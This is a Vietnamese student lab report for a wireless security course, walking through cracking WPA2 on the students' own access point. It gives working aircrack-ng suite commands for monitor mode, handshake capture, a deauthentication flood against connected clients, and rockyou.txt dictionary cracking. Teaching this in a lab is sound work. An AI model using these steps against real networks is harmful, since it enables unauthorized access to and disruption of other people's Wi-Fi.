BÁO CÁO ĐỒ ÁN 2

**Môn học: An toàn mạng không dây và di động**

**Kỳ báo cáo: Cuối kì (13/6)**

**Tên chủ đề: <Hack wifi W>**

*GVHD: Lê Kim Hùng*

*Ngày báo cáo: 13/6/2022*

1. **THÔNG TIN CHUNG:**

|  |  |  |  |
| --- | --- | --- | --- |
| **STT** | **Họ và tên** | **MSSV** | **Email** |
| 1 | Hoàng Văn Anh Đức | 20520890 | 20520890@gm.uit.edu.vn |
| 2 | Võ Thị Thu Cúc | 19521296 | 19521296@gm.uit.edu.vn |
| 3 |  |  |  |
| 4 |  |  |  |

1. **NỘI DUNG THỰC HIỆN:[[1]](#footnote-1)**

|  |  |  |
| --- | --- | --- |
| **STT** | **Công việc** | **Kết quả tự đánh giá** |
| 1 | Hack wifi WPA2 | 80% |

**Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.**

BÁO CÁO CHI TIẾT

## Kịch bản 01

**Tên mạng : 10**

**Mật khẩu : hellohello**

Ở phần này chúng ta dùng **aircrack-ng** và **rockyou.txt** để crack wifi bảo mật wpa/wpa2

**B1** : Vào file thư mục có chứa **rockyou.txt.gz : ”cd /usr/share/wordlists”**

Giải nén file **rockyou.txt.gz** : “**gzip -d rockyou.txt.gz**”

Text

Description automatically generated

**B2** : Xóa bỏ các quy trình xung đột với airmon-ng để tránh các lỗi có thể xảy ra :

**Sudo airmon-ng check kill**

**B3** : Vào chế độ monitor

**airmon-ng start wlan0**

**B4 :** Scan các network xung quanh bằng câu lệnh

**sudo airodump-ng wlan0mon**

A picture containing table

Description automatically generated

Mạng chúng ta muốn crack có

* ESSID : 10
* BSSID : FA:F1:E6:D0:OF:E5
* Channel : 1

**B5** :Để có có thể sniff các gói tin đến AP này, ta cần khoá wireless card cùng một kênh với AP bằng lệnh sau:

**iwconfig wlan0mon channel 1**



**B6**: Bắt các gói handshake

**airodump-ng -w <filename> -c <channel> --bssid <BSSID> wlan0mon**

A screenshot of a computer

Description automatically generated with medium confidence

**Graphical user interface, text, application

Description automatically generated**

**(minh họa)**

Khi mới nhập câu lệnh xong chúng ta sẽ không thấy thông báo

“**wpa handshake: FA:F1:E6:D0:0F:E5**”

Vì đây là AP tự tạo nên khi đến bước này ta cần dùng 1 thiết bị khác kết nối đến AP này là có thể bắt đc **handshake**

Trong trường hợp client đã kết nối và không có nhu cầu xác thực vs AP thì chúng ta cần **deathenticate** để bắt client connect lại và bắt đc gói **handshake**

**aireplay-ng –death 0 -a <bssid>**

0 là gửi cho đến khi chúng ta Ctrl+C

Text

Description automatically generated

Và sau đó khi client kết nối lại thì sẽ có thông báo hiện lên

Graphical user interface, text

Description automatically generated

**B6** : Sau khi đã bắt đc file thì chúng ta dùng lệnh này để có thể xem các gói tin giữa client và AP thông qua wireshark

**ls** : Để hiện thị các gói trong đường dẫn mà chúng ta đã bắt được

**wireshark hack1-02.cap**

Graphical user interface, text

Description automatically generated

Ở trường Filters của wire shark gõ : **eapol** để xem **4 way handshake**

Graphical user interface, application, table, Excel

Description automatically generated

**B7** : Thoát khỏi monitormode

**airmon-ng stop wlan0mon**

Text

Description automatically generated

**B8 :** Crack mật khẩu wpa/wpa2 với aircrack-ng bằng lệnh :

**aircrack-ng <filename.cap> -w /usr/share/wordlists/rockyou.txt**

ta thấy đã tìm ra được mật khấu là : “**hellohello**”

A screenshot of a computer

Description automatically generated with medium confidence

**HẾT**

1. Ghi nội dung công việc, các kịch bản trong bài Thực hành [↑](#footnote-ref-1)